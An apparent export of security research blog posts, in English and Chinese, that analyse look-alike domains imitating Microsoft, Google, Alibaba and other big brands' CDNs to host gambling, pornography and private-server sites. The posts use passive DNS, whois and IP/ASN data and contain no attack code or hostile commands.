similar for each days?\n 3. The bot traffic keeps falling in recent days, why? Are these bots completely get out of the mirai botnet? Or just captured by another mirai C2?"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

37

post

2017-01-10T11:51:15.000Z

63873b9a8b1c1e0007f52ef0

fraudulent-top-sites-an-underground-market-infrastructure-en

2018-10-06T08:58:22.000Z

public

published

2017-01-16T08:45:05.000Z

Fraudulent Top Sites, an Underground Market Infrastructure

<!--kg-card-begin: markdown--><p>[Update History]</p> <ul> <li>2017-01-16 First English version. Updates in original Chinese version is merged.</li> </ul> <h3 id="overview">Overview</h3> <p>Some domain names contains strings representing well-known companies are noticed in our abnormal traffic detecting system, including 360, ali, baidu, cloudflare, dnspod, google and microsoft. We later found these strings are adopted by a mature dedicated underground market infrastructure, supporting underground business like gambling, pornography, and server-emulator.</p> <p>This infrastructure owns a complicated structure, lasted a few years, supporting tens of thousands of underground sites as their customer. All together, this is a mature underground ecosystem.</p> <h3 id="fraudulenttopsitedomainnamelist">Fraudulent Top Site Domain Name List</h3> <p>The domain names we detected are listed as follows.</p> <p>At the first glance of these domain names, they look like a CDN sponsored by top sites. But deeper analysis shows that the actual service on these domain names focus on gambling, pornography, server emulator and other underground business.</p> <p><img src="__GHOST_URL__/content/images/2017/01/01_Fraudulent_top_site_domains.png" alt="" loading="lazy"></p> <h3 id="theinfrastructurebasedonthesedomains">The Infrastructure Based on These Domains</h3> <p>Through analysis on these sites' DNS resolution records, we can see these domain names are used not only for direct content delivery, but also backbone by and for other nodes. Together with these new found nodes, we constitute a complicated infrastructure.</p> <p>This network has its underground customers, in quite a large volume. Some nodes operated for quite a long time, and the business borders are clear. All together we saw a mature infrastructure dedicating on underground market.</p> <p>The list of these sites and part of the related pre / post nodes are as follows:</p> <p><img src="__GHOST_URL__/content/images/2017/01/02_an_infrastructure_complex.png" alt="" loading="lazy"></p> <p>The infrastructure network is a maze:</p> <ul> <li>yunfangyu1/2/5/7.com appeared before and after the fraudulent top sites, and share same whois registration information, changing the supporting chain to a loop.</li> <li>cdn88.net and cdn11/22/33.net (not appear in the table) share the same whois registration email address <a href="mailto:[email protected]">[email protected]</a>, and microsoftcdn.com is right in the table.</li> <li>The entire business continues developing. For example, google-yun.com, google-cdn-all.com are registered the week before this article is written (2017.01.03).</li> </ul> <h3 id="anevaluationforthecomplicatedinfrastructureanditscustomers">An Evaluation for the Complicated Infrastructure and Its Customers</h3> <p>We extracted related PassiveDNS records to fill up following table, and evaluate the complicated infrastructure from several dimensions: domain stability, sub-domain diversity, and traffic volumes.</p> <p><img src="__GHOST_URL__/content/images/2017/01/03_a_passivedns_perspective-1.png" alt="" loading="lazy"></p> <ul> <li> <p>The domain stability looks quite good. As can be seen from the above, all domain names remain active until time of this article, except that googlecdn.win and microsoftcdn.com ceased activity in 2016-02-06 and 2016-08-03. It is worth noticing that admin of microsoft.com (<a href="mailto:[email protected]">[email protected]</a>) registered cdn88.net on 2015-05-04. After a face-changing, they continue to be active in the infrastructure, as mentioned above.</p> </li> <li> <p>In the sub-domain name diversity aspect, the biggest alicdn-kr.com has only 284 sub-domain. This distinguishes from a regular CDN provider.</p> </li> <li> <p>In DNS access volume aspect, there is a large discrepancy among domains. The busiest alicdn-kr.com accumulated a total 1.3 billion DNS access, which is a really huge number. To better understand this figure, we use tv.cctv.com (China Central TV Network) as a benchmark for comparison to create the following chart. As shown below, the black line is alicdn-kr.com, and blue line is tv.cctv.com. You can roughly thought alicdn-kr.com's traffic is twice as tv.cctv.com.</p> </li> </ul> <p><img src="__GHOST_URL__/content/images/2017/01/04_an_traffic_comparation_to_cctv_dot_com.png" alt="" loading="lazy"></p> <p>In addition, let’s look at the daily business peak hours. Alicdn-kr.com daily peak comes at about 23:00 ~ 0:00 every night. This is a good match to the business it carries. Gambling and porn sites are more active in midnight.</p> <p>As mentioned earlier, the main user of this infrastructure is gambling, pornography, and server emulator underground site. The total user base is very large, some figures:</p> <ul> <li>24,033 domain names</li> <li>53,699 subdomains</li> <li>The first user is vip1000.cdn88.net, starts on 2015-11-22</li> <li>The individual biggest user is 7966.ym009.com, with an accumulated DNS access count 93,192,746</li> </ul> <h3 id="ipinfrastructure">IP Infrastructure</h3> <p>An analysis of these domain IP’s national distribution shows that most of the IP are from United States, Hong Kong, China and India. This looks quite familiar compare to our early analysis on DWA(Domain Wild Abuse), especially the national distribution in United States and Hong Kong.</p> <p>The IP inside China main land concentrated in data centers, and often these data centers claim a so-called GaoFang service (a high volume anti ddos service). Based on these GaoFang datacenter, this infrastructure is guaranteed somehow anti-DDoS capability.</p> <p><img src="__GHOST_URL__/content/images/2017/01/05_IP_Geo_distribute.png" alt="" loading="lazy"></p> <p>The Autonomous System distribution of these IP is much more discrete than the geographical distribution, listed as below:</p> <p><img src="__GHOST_URL__/content/images/2017/01/06_IP_ASN_distribution.png" alt="" loading="lazy"></p> <p>It is noteworthy that in the top-ranked AS8075 Microsoft Corporation belongs to Microsoft, and the AS45090 Shenzhen Tencent Computer Systems Company Limited belongs to Tencent.</p> <p>Googleyuncdn.com and microsoftcloudcdn.com are responsible for the utility of above these two AS. They also used AS58593 Microsoft (China) Co., Ltd, AS15169 Google Inc and AS45102 Alibaba (China) Technology Co., Ltd, and other big names' AS, during different time in history.</p> <p>If not carefully analyzed, people may think microsoftcloudcdn.com backboned by a Microsoft's AS looks very harmonious. However, their business are totally different, interesting.</p> <h3 id="guysbehind">Guys Behind</h3> <p>From the domains' registration information, we can tell these domains are divided into several gangs.</p> <p><img src="__GHOST_URL__/content/images/2017/01/07_domain_whois_registration_info.png" alt="" loading="lazy"><br> In this figure, the same shading cells indicate the same group of people. Those domain name cannot attributed are not colored. Given the the infrastructure's complexity mentioned earlier, perhaps some smaller groups in the table can be attributed to a larger group in real world.</p> <p>The earliest registered microsoftcdn.com is registered on May 4, 2015; the latest google-cdn-all.com is registered in December 29, 2016. Most of the domain name is paid for one year, but cdn-cloudflare.com and jiasucdn360.com are paid for 5 and 7 years. It looks like these people are ready to do this work in a long term.</p> <p>Five out of 21 domains’ registrations are privacy protected. With the help of 360netlab's whoisdb database, we trace back the registrants not privacy protected to eliminate potential abuse from &quot;corn farmers&quot;(those who massive register domains and wait for a higher sales price like a farmer).</p> <p>After the filtering, we found that different registrants often focus on their own business areas:</p> <ol> <li>The registrant &quot;good good&quot;, and &quot;jie ke&quot; (Jack) registered a large number of gambling domain name</li> <li>And &quot;qiu yang&quot; focused on pornography domain.</li> <li>&quot;Jack Tom&quot;, &quot;google-cdn&quot; and several other registrants are dedicating to register CDN-look domain names.</li> </ol> <p>Besides the string fraudulent top site, we also found other analogous words indicating a strong anti-ddos capability to attract potential customers in the domain names.</p> <ol> <li>GaoFang, a strong capability of anti-ddos</li> <li>FangDDoS, anti-ddos</li> <li>FangCC, anti-cc-ddos, cc-ddos is a nick name of http flood in China.</li> </ol> <p>Update on 2017-01-16:<br> After original Chinese version first published on 2017-01-10, some reader request an ip overlap analysis. We provided it here:</p> <ul> <li>Most servers own just a few IPs and even fewer overlaps. Keeping that in mind, the ip overlap in this case is a weak evidence, can be used only as a complimentary enhancement over an existing strong evidence.</li> <li>The overlap between cdn-baidu-google.com and cdm-google-baidu.com is about 25%, which strengthens the assertion of same origin of whois data analysis.</li> <li>On the other hand, since googleyuncdn.com is privacy protected and no same origin asserted in registration data analysis, no relationship between googleyuncdn.com and microsoftcloudcdn.com can be asserted solely by the 25% ip overlap ip itself.</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/01/09_fraudulent_sites_serverip_overlap-1.png" alt="" loading="lazy"></p> <h3 id="conclusions">Conclusions</h3> <p>In China, gambling and pornography are illegal, so it is not surprising these business are adopting an underground dedicated infrastructure. However, the use of top site string in the domain name is still interesting.</p> <p>In this article, we analyze the fraudulent top site domain names from different perspectives like whois, PassiveDNS, and IP distribution. We can draw a few conclusions here:</p> <ol> <li>This infrastructure is quite stable. Most of them operate for a relatively long period, make it different from underground phishing business.</li> <li>Because business continuous is important for their service, the infrastructure operator prefer a formal and stable infrastructure, and this helps explain why they are adopting large companies' IP addresses.</li> <li>We do not think there is underground phishing in these domains;</li> <li>We do not think these domain names are owned by corn farmers (domain name mongers). We believe the guys behind these infrastructure is likely to be underground business operator themselves, or some other dedicated underground infrastructure provider.</li> </ol> <p>We hope we have presented a new perspective of the underground business infrastructure in this article. We will keep track on these fraudulent ‘top site’ domain names and the infrastructure networks to observe their follow-up developments.</p> <!--kg-card-end: markdown-->

[Update History] * 2017-01-16 First English version. Updates in original Chinese version is merged. Overview Some domain names contains strings representing well-known companies are noticed in our abnormal traffic detecting system, including 360, ali, baidu, cloudflare, dnspod, google and microsoft. We later found these strings are adopted by a mature dedicated underground market infrastructure, supporting underground business like gambling, pornography, and server-emulator. This infrastructure owns a complicated structure, lasted a few years, supporting tens of thousands of underground sites as their customer. All together, this is a mature underground ecosystem. Fraudulent Top Site Domain Name List The domain names we detected are listed as follows. At the first glance of these domain names, they look like a CDN sponsored by top sites. But deeper analysis shows that the actual service on these domain names focus on gambling, pornography, server emulator and other underground business. The Infrastructure Based on These Domains Through analysis on these sites' DNS resolution records, we can see these domain names are used not only for direct content delivery, but also backbone by and for other nodes. Together with these new found nodes, we constitute a complicated infrastructure. This network has its underground customers, in quite a large volume. Some nodes operated for quite a long time, and the business borders are clear. All together we saw a mature infrastructure dedicating on underground market. The list of these sites and part of the related pre / post nodes are as follows: The infrastructure network is a maze: * yunfangyu1/2/5/7.com appeared before and after the fraudulent top sites, and share same whois registration information, changing the supporting chain to a loop. * cdn88.net and cdn11/22/33.net (not appear in the table) share the same whois registration email address [email protected], and microsoftcdn.com is right in the table. * The entire business continues developing. For example, google-yun.com, google-cdn-all.com are registered the week before this article is written (2017.01.03). An Evaluation for the Complicated Infrastructure and Its Customers We extracted related PassiveDNS records to fill up following table, and evaluate the complicated infrastructure from several dimensions: domain stability, sub-domain diversity, and traffic volumes. * The domain stability looks quite good. As can be seen from the above, all domain names remain active until time of this article, except that googlecdn.win and microsoftcdn.com ceased activity in 2016-02-06 and 2016-08-03. It is worth noticing that admin of microsoft.com ([email protected]) registered cdn88.net on 2015-05-04. After a face-changing, they continue to be active in the infrastructure, as mentioned above. * In the sub-domain name diversity aspect, the biggest alicdn-kr.com has only 284 sub-domain. This distinguishes from a regular CDN provider. * In DNS access volume aspect, there is a large discrepancy among domains. The busiest alicdn-kr.com accumulated a total 1.3 billion DNS access, which is a really huge number. To better understand this figure, we use tv.cctv.com (China Central TV Network) as a benchmark for comparison to create the following chart. As shown below, the black line is alicdn-kr.com, and blue line is tv.cctv.com. You can roughly thought alicdn-kr.com's traffic is twice as tv.cctv.com. In addition, let’s look at the daily business peak hours. Alicdn-kr.com daily peak comes at about 23:00 ~ 0:00 every night. This is a good match to the business it carries. Gambling and porn sites are more active in midnight. As mentioned earlier, the main user of this infrastructure is gambling, pornography, and server emulator underground site. The total user base is very large, some figures: * 24,033 domain names * 53,699 subdomains * The first user is vip1000.cdn88.net, starts on 2015-11-22 * The individual biggest user is 7966.ym009.com, with an accumulated DNS access count 93,192,746 IP Infrastructure An analysis of these domain IP’s national distribution shows that most of the IP are from United States, Hong Kong, China and India. This looks quite familiar compare to our early analysis on DWA(Domain Wild Abuse), especially the national distribution in United States and Hong Kong. The IP inside China main land concentrated in data centers, and often these data centers claim a so-called GaoFang service (a high volume anti ddos service). Based on these GaoFang datacenter, this infrastructure is guaranteed somehow anti-DDoS capability. The Autonomous System distribution of these IP is much more discrete than the geographical distribution, listed as below: It is noteworthy that in the top-ranked AS8075 Microsoft Corporation belongs to Microsoft, and the AS45090 Shenzhen Tencent Computer Systems Company Limited belongs to Tencent. Googleyuncdn.com and microsoftcloudcdn.com are responsible for the utility of above these two AS. They also used AS58593 Microsoft (China) Co., Ltd, AS15169 Google Inc and AS45102 Alibaba (China) Technology Co., Ltd, and other big names' AS, during different time in history. If not carefully analyzed, people may think microsoftcloudcdn.com backboned by a Microsoft's AS looks very harmonious. However, their business are totally different, interesting. Guys Behind From the domains' registration information, we can tell these domains are divided into several gangs. In this figure, the same shading cells indicate the same group of people. Those domain name cannot attributed are not colored. Given the the infrastructure's complexity mentioned earlier, perhaps some smaller groups in the table can be attributed to a larger group in real world. The earliest registered microsoftcdn.com is registered on May 4, 2015; the latest google-cdn-all.com is registered in December 29, 2016. Most of the domain name is paid for one year, but cdn-cloudflare.com and jiasucdn360.com are paid for 5 and 7 years. It looks like these people are ready to do this work in a long term. Five out of 21 domains’ registrations are privacy protected. With the help of 360netlab's whoisdb database, we trace back the registrants not privacy protected to eliminate potential abuse from "corn farmers"(those who massive register domains and wait for a higher sales price like a farmer). After the filtering, we found that different registrants often focus on their own business areas: 1. The registrant "good good", and "jie ke" (Jack) registered a large number of gambling domain name 2. And "qiu yang" focused on pornography domain. 3. "Jack Tom", "google-cdn" and several other registrants are dedicating to register CDN-look domain names. Besides the string fraudulent top site, we also found other analogous words indicating a strong anti-ddos capability to attract potential customers in the domain names. 1. GaoFang, a strong capability of anti-ddos 2. FangDDoS, anti-ddos 3. FangCC, anti-cc-ddos, cc-ddos is a nick name of http flood in China. Update on 2017-01-16: After original Chinese version first published on 2017-01-10, some reader request an ip overlap analysis. We provided it here: * Most servers own just a few IPs and even fewer overlaps. Keeping that in mind, the ip overlap in this case is a weak evidence, can be used only as a complimentary enhancement over an existing strong evidence. * The overlap between cdn-baidu-google.com and cdm-google-baidu.com is about 25%, which strengthens the assertion of same origin of whois data analysis. * On the other hand, since googleyuncdn.com is privacy protected and no same origin asserted in registration data analysis, no relationship between googleyuncdn.com and microsoftcloudcdn.com can be asserted solely by the 25% ip overlap ip itself. Conclusions In China, gambling and pornography are illegal, so it is not surprising these business are adopting an underground dedicated infrastructure. However, the use of top site string in the domain name is still interesting. In this article, we analyze the fraudulent top site domain names from different perspectives like whois, PassiveDNS, and IP distribution. We can draw a few conclusions here: 1. This infrastructure is quite stable. Most of them operate for a relatively long period, make it different from underground phishing business. 2. Because business continuous is important for their service, the infrastructure operator prefer a formal and stable infrastructure, and this helps explain why they are adopting large companies' IP addresses. 3. We do not think there is underground phishing in these domains; 4. We do not think these domain names are owned by corn farmers (domain name mongers). We believe the guys behind these infrastructure is likely to be underground business operator themselves, or some other dedicated underground infrastructure provider. We hope we have presented a new perspective of the underground business infrastructure in this article. We will keep track on these fraudulent ‘top site’ domain names and the infrastructure networks to observe their follow-up developments.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"[Update History]\n\n - 2017-01-16 First English version. Updates in original Chinese version is merged.\n\n###Overview\nSome domain names contains strings representing well-known companies are noticed in our abnormal traffic detecting system, including 360, ali, baidu, cloudflare, dnspod, google and microsoft. We later found these strings are adopted by a mature dedicated underground market infrastructure, supporting underground business like gambling, pornography, and server-emulator.\n\nThis infrastructure owns a complicated structure, lasted a few years, supporting tens of thousands of underground sites as their customer. All together, this is a mature underground ecosystem.\n\n###Fraudulent Top Site Domain Name List\nThe domain names we detected are listed as follows. \n\nAt the first glance of these domain names, they look like a CDN sponsored by top sites. But deeper analysis shows that the actual service on these domain names focus on gambling, pornography, server emulator and other underground business.\n\n\n\n###The Infrastructure Based on These Domains\nThrough analysis on these sites' DNS resolution records, we can see these domain names are used not only for direct content delivery, but also backbone by and for other nodes. Together with these new found nodes, we constitute a complicated infrastructure. \n\nThis network has its underground customers, in quite a large volume. Some nodes operated for quite a long time, and the business borders are clear. All together we saw a mature infrastructure dedicating on underground market.\n\nThe list of these sites and part of the related pre / post nodes are as follows:\n\n\n\nThe infrastructure network is a maze:\n\n - yunfangyu1/2/5/7.com appeared before and after the fraudulent top sites, and share same whois registration information, changing the supporting chain to a loop.\n - cdn88.net and cdn11/22/33.net (not appear in the table) share the same whois registration email address [email protected], and microsoftcdn.com is right in the table.\n - The entire business continues developing. For example, google-yun.com, google-cdn-all.com are registered the week before this article is written (2017.01.03).\n\n### An Evaluation for the Complicated Infrastructure and Its Customers\nWe extracted related PassiveDNS records to fill up following table, and evaluate the complicated infrastructure from several dimensions: domain stability, sub-domain diversity, and traffic volumes.\n\n\n\n - The domain stability looks quite good. As can be seen from the above, all domain names remain active until time of this article, except that googlecdn.win and microsoftcdn.com ceased activity in 2016-02-06 and 2016-08-03. It is worth noticing that admin of microsoft.com ([email protected]) registered cdn88.net on 2015-05-04. After a face-changing, they continue to be active in the infrastructure, as mentioned above.\n\n - In the sub-domain name diversity aspect, the biggest alicdn-kr.com has only 284 sub-domain. This distinguishes from a regular CDN provider.\n\n - In DNS access volume aspect, there is a large discrepancy among domains. The busiest alicdn-kr.com accumulated a total 1.3 billion DNS access, which is a really huge number. To better understand this figure, we use tv.cctv.com (China Central TV Network) as a benchmark for comparison to create the following chart. As shown below, the black line is alicdn-kr.com, and blue line is tv.cctv.com. You can roughly thought alicdn-kr.com's traffic is twice as tv.cctv.com.\n\n\n\nIn addition, let’s look at the daily business peak hours. Alicdn-kr.com daily peak comes at about 23:00 ~ 0:00 every night. This is a good match to the business it carries. Gambling and porn sites are more active in midnight.\n\nAs mentioned earlier, the main user of this infrastructure is gambling, pornography, and server emulator underground site. The total user base is very large, some figures:\n\n- 24,033 domain names\n- 53,699 subdomains\n- The first user is vip1000.cdn88.net, starts on 2015-11-22\n- The individual biggest user is 7966.ym009.com, with an accumulated DNS access count 93,192,746 \n\n###IP Infrastructure\nAn analysis of these domain IP’s national distribution shows that most of the IP are from United States, Hong Kong, China and India. This looks quite familiar compare to our early analysis on DWA(Domain Wild Abuse), especially the national distribution in United States and Hong Kong. \n\nThe IP inside China main land concentrated in data centers, and often these data centers claim a so-called GaoFang service (a high volume anti ddos service). Based on these GaoFang datacenter, this infrastructure is guaranteed somehow anti-DDoS capability.\n\n\n\nThe Autonomous System distribution of these IP is much more discrete than the geographical distribution, listed as below:\n\n\n\nIt is noteworthy that in the top-ranked AS8075 Microsoft Corporation belongs to Microsoft, and the AS45090 Shenzhen Tencent Computer Systems Company Limited belongs to Tencent.\n\nGoogleyuncdn.com and microsoftcloudcdn.com are responsible for the utility of above these two AS. They also used AS58593 Microsoft (China) Co., Ltd, AS15169 Google Inc and AS45102 Alibaba (China) Technology Co., Ltd, and other big names' AS, during different time in history.\n\nIf not carefully analyzed, people may think microsoftcloudcdn.com backboned by a Microsoft's AS looks very harmonious. However, their business are totally different, interesting.\n\n###Guys Behind\nFrom the domains' registration information, we can tell these domains are divided into several gangs.\n\n\nIn this figure, the same shading cells indicate the same group of people. Those domain name cannot attributed are not colored. Given the the infrastructure's complexity mentioned earlier, perhaps some smaller groups in the table can be attributed to a larger group in real world.\n\nThe earliest registered microsoftcdn.com is registered on May 4, 2015; the latest google-cdn-all.com is registered in December 29, 2016. Most of the domain name is paid for one year, but cdn-cloudflare.com and jiasucdn360.com are paid for 5 and 7 years. It looks like these people are ready to do this work in a long term.\n\nFive out of 21 domains’ registrations are privacy protected. With the help of 360netlab's whoisdb database, we trace back the registrants not privacy protected to eliminate potential abuse from \"corn farmers\"(those who massive register domains and wait for a higher sales price like a farmer). \n\nAfter the filtering, we found that different registrants often focus on their own business areas:\n\n1. The registrant \"good good\", and \"jie ke\" (Jack) registered a large number of gambling domain name\n2. And \"qiu yang\" focused on pornography domain.\n3. \"Jack Tom\", \"google-cdn\" and several other registrants are dedicating to register CDN-look domain names.\n\nBesides the string fraudulent top site, we also found other analogous words indicating a strong anti-ddos capability to attract potential customers in the domain names.\n\n1. GaoFang, a strong capability of anti-ddos\n2. FangDDoS, anti-ddos\n3. FangCC, anti-cc-ddos, cc-ddos is a nick name of http flood in China.\n\nUpdate on 2017-01-16:\nAfter original Chinese version first published on 2017-01-10, some reader request an ip overlap analysis. We provided it here:\n\n - Most servers own just a few IPs and even fewer overlaps. Keeping that in mind, the ip overlap in this case is a weak evidence, can be used only as a complimentary enhancement over an existing strong evidence.\n - The overlap between cdn-baidu-google.com and cdm-google-baidu.com is about 25%, which strengthens the assertion of same origin of whois data analysis.\n - On the other hand, since googleyuncdn.com is privacy protected and no same origin asserted in registration data analysis, no relationship between googleyuncdn.com and microsoftcloudcdn.com can be asserted solely by the 25% ip overlap ip itself.\n\n\n\n###Conclusions\nIn China, gambling and pornography are illegal, so it is not surprising these business are adopting an underground dedicated infrastructure. However, the use of top site string in the domain name is still interesting.\n\nIn this article, we analyze the fraudulent top site domain names from different perspectives like whois, PassiveDNS, and IP distribution. We can draw a few conclusions here:\n\n\n\n1. This infrastructure is quite stable. Most of them operate for a relatively long period, make it different from underground phishing business.\n2. Because business continuous is important for their service, the infrastructure operator prefer a formal and stable infrastructure, and this helps explain why they are adopting large companies' IP addresses.\n3. We do not think there is underground phishing in these domains;\n4. We do not think these domain names are owned by corn farmers (domain name mongers). We believe the guys behind these infrastructure is likely to be underground business operator themselves, or some other dedicated underground infrastructure provider.\n\nWe hope we have presented a new perspective of the underground business infrastructure in this article. We will keep track on these fraudulent ‘top site’ domain names and the infrastructure networks to observe their follow-up developments.\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

39

post

2017-01-10T13:39:18.000Z

63873b9a8b1c1e0007f52ef1

fraudulent-top-sites-a-dedicated-underground-market-infrastructure-chinese

2018-10-06T08:58:09.000Z

public

published

2017-01-10T15:23:38.000Z

以大站的名义：专注地下产业的网络基础设施

<!--kg-card-begin: markdown--><p>【历史更新记录】</p> <ul> <li>2017-01-10 原始版本</li> <li>2017-01-16 补充了对服务器IP地址同源性的分析，此处分析指向性较弱，仅为完备性考虑</li> </ul> <h3 id="">概述</h3> <p>在奇虎网络安全研究院(<a href="mailto:[email protected]">[email protected]</a>)，我们建立了一个基于DNS的异常流量监测系统，每天会检出若干异常流量以及对应的域名/IP。通常这些被检出的域名/IP都属于地下产业链条。</p> <p>但是，我们注意到一些代表知名公司的字符串也出现在这些被检出的域名中，包括360, ali, baidu, cloudflare, dnspod, google和microsoft。通过分析，我们认为这是有人冒用大站名义，为赌博、色情、私服等地下产业提供网络基础设施服务。</p> <p>这一基础设施结构错综复杂，运营时间长、支撑能力强、实际支撑的黑色灰色站点数以万计，已经构成了一个成熟的地下产业生态系统。</p> <h3 id="">域名和所仿冒的大站品牌</h3> <p>我们检测到的这类域名如下表。</p> <p>如果只看域名，这些域名看起来非常象是大站提供的CDN服务。但分析可以看出，这些域名实际是某种基础设施，为赌博、色情、私服等地下产业服务。</p> <p><img src="__GHOST_URL__/content/images/2017/01/01_Fraudulent_top_site_domain_list-2.png" alt="" loading="lazy"></p> <h3 id="">基于上述域名的错综复杂的网络基础设施</h3> <p>通过passvieDNS，我们能够看到此类域名在DNS的解析记录。除了直接向最终用户提供服务之外，它们还前后CNAME到其他域名，构成复杂的基础设施网络。<br> 这个网络有真实的地下产业用户，部分节点运营时间长、用户访问量大、所承载业务类型明确，成熟支撑着黑色、灰色产业链。</p> <p>这些仿冒CDN站点和观察到的部分前置/后置站点列表如下：<br> <img src="__GHOST_URL__/content/images/2017/01/02_an_infrastructure_complex.png" alt="" loading="lazy"></p> <p>这些基础设施网络背后的关系错综复杂，例如：</p> <ul> <li>在上述域名中，yunfangyu1/2/5/7.com 分别出现在仿冒站点的前面和后面，而这一组yunfangyu1/2/5/7.com 共享了相同的whois注册信息；</li> <li>cdn88.net 和 cdn11/22/33.net （未出现在表中）的whois信息注册邮箱地址是[email protected]， 而这个microsoftcdn.com则是这个网络的一个节点。</li> <li>整个基础设施还在持续的更新，其中google-yun.com，google-cdn-all.com注册于本文写作（2017.01.03）之前的一周内。</li> </ul> <h3 id="">对该基础设施网络及其用户的评价</h3> <p>我们基于这些域名从PassiveDNS中提取相关的记录，汇总得到如下数据，并从域名的稳定性、子域名多样性和访问量，来评价该网络。</p> <p>![]</p> <ul> <li>稳定性方面，从上述表格可以看出，除了googlecdn.win和microsoftcdn.com分别在2016-02-06和2016-08-03停止活跃之外，其他的域名都持续活跃到写本文的时间，并且我们认为它会继续活跃下去。应该说整个规模的活跃时间还是非常稳定的。值得一提的是前文述及 <a href="mailto:[email protected]">[email protected]</a> 注册了 cdn88.net，改头换面后在上述网络中持续活跃。</li> <li>子域名多样性方面，整体来看，子域名并不多，最多的alicdn-kr.com也仅有284个子域名。这一特点显著区别与正规的CDN服务器。</li> <li>DNS访问数量方面，各域名之间偏差较大。最繁忙的alicdn-kr.com的访问总次数达到了十三亿次，这是一个巨大的数字。为了更好的理解这个数字，我们使用tv.cctv.com （央视网）作为基准做对比，如下图，黑色的线是alicdn-kr.com，蓝色的线是tv.cctv.com，可以看出alicdn-kr.com的DNS请求量大约是tv.cctv.com的两倍。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/01/04_an_traffic_comparation_to_cctv_dot_com-1.png" alt="" loading="lazy"></p> <p>另外，观察每日业务高峰点，alicdn-kr.com每日的峰值大约是每晚的23点到0点。这个时间点与其所承载的业务类型（赌博、色情站点在凌晨更为活跃）也是比较吻合的。</p> <p>如前所述，该网络的主体用户是赌博、色情、私服网站。整个网络的用户群非常庞大，一些数字：</p> <ul> <li>用户包括 24033 个域名</li> <li>及其下属的53699个子域名</li> <li>最早的用户是 vip1000.cdn88.net, 始于 2015-11-22</li> <li>单一最大用户是 7966.ym009.com, 累积DNS访问次数 93,192,746</li> </ul> <h3 id="ip">IP基础设施</h3> <p>对这些域名的解析IP，考察其国家分布，主要分布于美国，香港，中国及印度。其中，分布于美国，香港和我们之前看到的滥用泛解析构建站群（DWA）的业务分布很类似。在国内的IP主要集中在数据中心，而往往这些数据中心都宣称提供所谓高防服务。基于这些数据中心，多少能够获得一定的抗DDoS能力。</p> <p><img src="__GHOST_URL__/content/images/2017/01/05_IP_Geo_distribute-1.png" alt="" loading="lazy"></p> <p>这些IP的AS分布相比于地域分布来说较为分散。具体分布如下图所示：<br> <img src="__GHOST_URL__/content/images/2017/01/06_IP_ASN_distribution-1.png" alt="" loading="lazy"></p> <p>值得注意的是，在排名靠前的 AS8075 Microsoft Corporation以及AS45090 Shenzhen Tencent Computer Systems Company Limited 分别属于微软公司以及腾讯公司。<br> 使用这两个AS的域名主要是googleyuncdn.com以及microsoftcloudcdn.com。这两个域名还在不同的时间段分别使用了AS58593 Microsoft (China) Co., Ltd，AS15169 Google Inc以及AS45102 Alibaba (China) Technology Co., Ltd等多个大公司的服务。</p> <p>如果没有仔细分析，乍眼一看，microsoftcloudcdn.com使用Microsoft的AS看起来是不是很和谐？然而它们的确属于不同组织，并且业务范围一个阳光道一个独木桥。非常有意思的一个现象。</p> <h3 id="">背后的团队</h3> <p>从这些域名的whois信息来看，它们应该分属若干个团伙。<br> <img src="__GHOST_URL__/content/images/2017/01/07_domain_whois_registration_info-1.png" alt="" loading="lazy"></p> <p>上图中，有相同着色单元格表明是同一组人注册的域名，无法判定归属的域名未着色。考虑到前面提到的该网络的复杂性，也许上表中的若干小团伙能够归结到一个大的团伙。</p> <p>注册时间最早的microsoftcdn.com可以追溯到2015年5月4日，最晚的google-cdn-all.com则注册于2016年12月29日。从域名注册的有效期来看，多数域名注册的有效期都是一年，但是cdn-cloudflare.com与jiasucdn360.com则分别为5年和7年。看的出来，这些人是准备把这项工作长期做下去。</p> <p>在上述21个域名中，使用隐私保护的域名有5个。利用360netlab的whoisdb数据库（更多的数据请参见附录1），我们对未采取隐私保护的注册人进行反查，基本排除专注域名买卖生意“米农”的可能性，并且注意到不同的注册者往往专注于各自细分的业务领域：</p> <ul> <li>比如“good good”，“jie ke”注册了大量的赌博业务域名</li> <li>而“qiu yang”则专注于注册色情业务域名。</li> <li>还有一些专门注册此类服务站点的，比如“Jack Tom”，“google-cdn”等。除前文提到借用大站名义的域名外，还有一些域名有很强标识性，比如“高防”，“防DDoS”，“防CC”等。</li> </ul> <p>2017年1月16日更新：<br> 文章原始版本发布后，有读者提及希望能分析这些服务器的IP地址共享情况。出于完备性考虑，我们补充了以下部分，具体情况如下图所示，有以下结论：</p> <ul> <li>大多数的域名服务器的IP地址不多、重叠度也较小，本环节的结论指向性较弱，只能作为已有强证据的辅助增强，不能独立构成指向性的结论；</li> <li>有两组域名（cdn-baidu-google.com: cdm-google-baidu.com, googleyuncdn.com: microsoftcloudcdn.com）重叠度在25%左右的。其中第一组域名分析结果增强了whois数据中对应域名同源的判定；第二组则由于googleyuncdn.com使用了隐私保护，没有将其与microsoftcloudcdn.com归为一组。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/01/09_fraudulent_sites_serverip_overlap.png" alt="" loading="lazy"></p> <h3 id="">结语</h3> <p>在中国特色下，赌博、色情等业务的专门站点使用抗D服务甚至是黑灰产专用的网络基础设施并不罕见。但是包含“大站”字符串的域名则比较让人感兴趣。<br> 本文对这些包含“大站”字符串的域名从whois信息，PassiveDNS中的活跃时间，使用IP等角度对其进行了分析。能够得到几个比较明确的结论：</p> <ol> <li>这些域名提供的服务稳定性较好，它们基本都能够较长时间的比较稳定的服务。这一点也与钓鱼类型的域名完全不同。</li> <li>由于要提供比较稳定的服务，所以它们使用的基础设施也更为正规和稳定，这也不难解释为什么它们会使用大公司的IP地址。</li> <li>排除这些域名用于钓鱼的可能性；</li> <li>排除这些域名来自专门做域名生意的米农（域名贩子）的可能性。推测很可能是灰色业务自建网络，或者其他专门为灰色业务提供服务的供应商。</li> </ol> <p>希望通过本文，能够对灰色业务及其基础设施有一个新角度的认识。对于这些以“大站”的名义为灰色业务提供基础服务的域名我们会持续跟踪，观察其后续发展情况。</p> <h3 id="cdnwhois">附录 部分仿冒大站CDN的域名whois关联域名列表</h3> <p><img src="__GHOST_URL__/content/images/2017/01/08_sampling_domain_registrant.png" alt="" loading="lazy"></p> <!--kg-card-end: markdown-->

